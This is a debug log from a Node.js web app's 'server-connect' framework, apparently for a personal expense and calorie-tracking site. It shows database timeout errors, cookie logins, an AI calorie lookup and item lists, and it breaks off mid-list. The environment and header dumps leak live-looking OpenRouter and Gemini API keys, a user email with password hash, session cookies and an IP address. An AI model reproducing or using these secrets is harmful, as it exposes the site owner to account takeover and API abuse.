    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 16:27:07' as DATETIME)"
}
2025-12-17T16:28:11.415Z server-connect:app Executing action step identify
2025-12-17T16:28:11.415Z server-connect:app options: { provider: 'security' }
2025-12-17T16:28:11.458Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:28:11.459Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:28:11.502Z server-connect:output identity: 1
2025-12-17T16:28:38.480Z server-connect:app Executing action step identify
2025-12-17T16:28:38.480Z server-connect:app options: { provider: 'security' }
2025-12-17T16:28:38.522Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:28:38.524Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:28:38.567Z server-connect:output identity: 1
2025-12-17T16:47:36.904Z server-connect:app Executing action step identify
2025-12-17T16:47:36.904Z server-connect:app options: { provider: 'security' }
2025-12-17T16:47:36.947Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:47:36.949Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:47:36.994Z server-connect:output identity: 1
2025-12-17T16:47:38.366Z server-connect:app Executing action step identify
2025-12-17T16:47:38.366Z server-connect:app options: { provider: 'security' }
2025-12-17T16:47:38.415Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:47:38.416Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:47:38.460Z server-connect:output identity: 1
2025-12-17T16:56:48.543Z server-connect:app Executing action step identify
2025-12-17T16:56:48.543Z server-connect:app options: { provider: 'security' }
2025-12-17T16:56:48.584Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:56:48.586Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:56:48.628Z server-connect:output identity: 1
2025-12-17T16:56:53.190Z server-connect:app Executing action step identify
2025-12-17T16:56:53.191Z server-connect:app options: { provider: 'security' }
2025-12-17T16:56:53.247Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:56:53.249Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:56:53.307Z server-connect:output identity: 1
2025-12-17T17:00:02.356Z server-connect:app Executing action step identify
2025-12-17T17:00:02.356Z server-connect:app options: { provider: 'security' }
2025-12-17T17:00:02.402Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:00:02.405Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:00:02.462Z server-connect:output identity: 1
2025-12-17T17:00:07.078Z server-connect:app Executing action step identify
2025-12-17T17:00:07.078Z server-connect:app options: { provider: 'security' }
2025-12-17T17:00:07.121Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:00:07.122Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:00:07.171Z server-connect:output identity: 1
2025-12-17T17:05:59.826Z server-connect:app Executing action step identify
2025-12-17T17:05:59.826Z server-connect:app options: { provider: 'security' }
2025-12-17T17:05:59.869Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:05:59.871Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:05:59.915Z server-connect:output identity: 1
2025-12-17T17:06:01.207Z server-connect:app Executing action step identify
2025-12-17T17:06:01.207Z server-connect:app options: { provider: 'security' }
2025-12-17T17:06:01.265Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:06:01.267Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:06:01.317Z server-connect:output identity: 1
2025-12-17T17:09:13.272Z server-connect:app Executing action step identify
2025-12-17T17:09:13.272Z server-connect:app options: { provider: 'security' }
2025-12-17T17:09:13.323Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:09:13.326Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:09:13.374Z server-connect:output identity: 1
2025-12-17T17:09:14.047Z server-connect:app Executing action step identify
2025-12-17T17:09:14.047Z server-connect:app options: { provider: 'security' }
2025-12-17T17:09:14.091Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:09:14.092Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:09:14.134Z server-connect:output identity: 1
2025-12-17T17:09:14.668Z server-connect:app Executing action step identify
2025-12-17T17:09:14.668Z server-connect:app options: { provider: 'security' }
2025-12-17T17:09:14.710Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:09:14.711Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:09:14.755Z server-connect:output identity: 1
2025-12-17T17:09:15.781Z server-connect:app Executing action step identify
2025-12-17T17:09:15.781Z server-connect:app options: { provider: 'security' }
2025-12-17T17:09:15.838Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:09:15.838Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:09:15.891Z server-connect:output identity: 1
2025-12-17T17:17:53.887Z server-connect:app Executing action step identify
2025-12-17T17:17:53.887Z server-connect:app options: { provider: 'security' }
2025-12-17T17:17:53.933Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:17:53.936Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:17:53.980Z server-connect:output identity: 1
2025-12-17T17:17:57.300Z server-connect:app Executing action step identify
2025-12-17T17:17:57.300Z server-connect:app options: { provider: 'security' }
2025-12-17T17:17:57.342Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:17:57.343Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:17:57.386Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 17:19:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 17:19:07' as DATETIME)"
}
2025-12-17T17:19:37.685Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T17:19:37.685Z server-connect:app Executing action step identify
2025-12-17T17:19:37.685Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:37.730Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:19:38.063Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:19:38.110Z server-connect:output identity: 1
2025-12-17T17:19:38.110Z server-connect:app Executing action step restrict
2025-12-17T17:19:38.110Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T17:19:38.111Z server-connect:output restrict: undefined
2025-12-17T17:19:38.111Z server-connect:app Executing action step processWithGemini
2025-12-17T17:19:38.111Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-17T17:19:41.894Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Fish Curry',
      quantity: '5 pieces',
      calories_per_piece: 150,
      total_calories: 750,
      protein: 75,
      carbs: 15,
      fat: 40,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of protein and healthy fats (omega-3s). Good for muscle development.'
    },
    {
      food_name: 'Egg Whites',
      quantity: '2',
      calories_per_unit: 17,
      total_calories: 34,
      protein: 7.2,
      carbs: 0.4,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Pure protein source with very few calories and no fat. Ideal for muscle development and low-calorie intake.'
    },
    {
      food_name: 'Papaya',
      quantity: '1 slice',
      calories_per_unit: 60,
      total_calories: 60,
      protein: 1,
      carbs: 15,
      fat: 0.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of vitamins, minerals, and fiber. Supports overall health and digestion. Low in calories.'
    }
  ],
  total_macros: {
    protein: { value: 83.2, unit: 'g' },
    carbs: { value: 30.4, unit: 'g' },
    fat: { value: 40.4, unit: 'g' },
    total_calories: { value: 844, unit: 'kcal' }
  }
}
2025-12-17T17:19:48.267Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-17T17:19:48.268Z server-connect:app Executing action step identify
2025-12-17T17:19:48.268Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:48.268Z server-connect:output identity: 1
2025-12-17T17:19:48.268Z server-connect:app Executing action step restrict
2025-12-17T17:19:48.268Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T17:19:48.268Z server-connect:output restrict: undefined
2025-12-17T17:19:48.269Z server-connect:app Executing action step condition
2025-12-17T17:19:48.269Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-17T17:19:48.269Z server-connect:app Executing action step repeat
2025-12-17T17:19:48.269Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-17T17:19:48.269Z server-connect:app Executing action step insert
2025-12-17T17:19:48.269Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T17:19:48.271Z server-connect:output calories: { affected: 1, identity: 430 }
2025-12-17T17:19:48.271Z server-connect:app Executing action step insert
2025-12-17T17:19:48.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T17:19:48.272Z server-connect:output calories: { affected: 1, identity: 431 }
2025-12-17T17:19:48.272Z server-connect:app Executing action step insert
2025-12-17T17:19:48.273Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T17:19:48.273Z server-connect:output calories: { affected: 1, identity: 432 }
2025-12-17T17:19:48.273Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-17T17:19:48.273Z server-connect:output condition: undefined
2025-12-17T17:19:48.483Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T17:19:48.483Z server-connect:app Executing action step identify
2025-12-17T17:19:48.483Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:48.484Z server-connect:output identity: 1
2025-12-17T17:19:48.484Z server-connect:app Executing action step restrict
2025-12-17T17:19:48.484Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T17:19:48.484Z server-connect:output restrict: undefined
2025-12-17T17:19:48.484Z server-connect:router Render template layouts/main
2025-12-17T17:19:48.484Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T17:19:48.690Z server-connect:app Executing action step identify
2025-12-17T17:19:48.690Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:48.736Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T17:19:48.737Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T17:19:48.784Z server-connect:output identity: 1
2025-12-17T17:19:49.221Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T17:19:49.224Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T17:19:49.225Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T17:19:49.225Z server-connect:app Executing action step identify
2025-12-17T17:19:49.226Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:49.226Z server-connect:output identity: 1
2025-12-17T17:19:49.226Z server-connect:app Executing action step restrict
2025-12-17T17:19:49.226Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T17:19:49.227Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T17:19:49.227Z server-connect:output restrict: undefined
2025-12-17T17:19:49.227Z server-connect:app Executing action step select
2025-12-17T17:19:49.227Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T17:19:49.228Z server-connect:app Executing action step identify
2025-12-17T17:19:49.228Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:49.228Z server-connect:output identity: 1
2025-12-17T17:19:49.228Z server-connect:app Executing action step restrict
2025-12-17T17:19:49.228Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:49.228Z server-connect:output restrict: undefined
2025-12-17T17:19:49.228Z server-connect:app Executing action step single
2025-12-17T17:19:49.228Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T17:19:49.229Z server-connect:app Executing action step identify
2025-12-17T17:19:49.229Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:49.229Z server-connect:output identity: 1
2025-12-17T17:19:49.229Z server-connect:app Executing action step restrict
2025-12-17T17:19:49.229Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T17:19:49.233Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
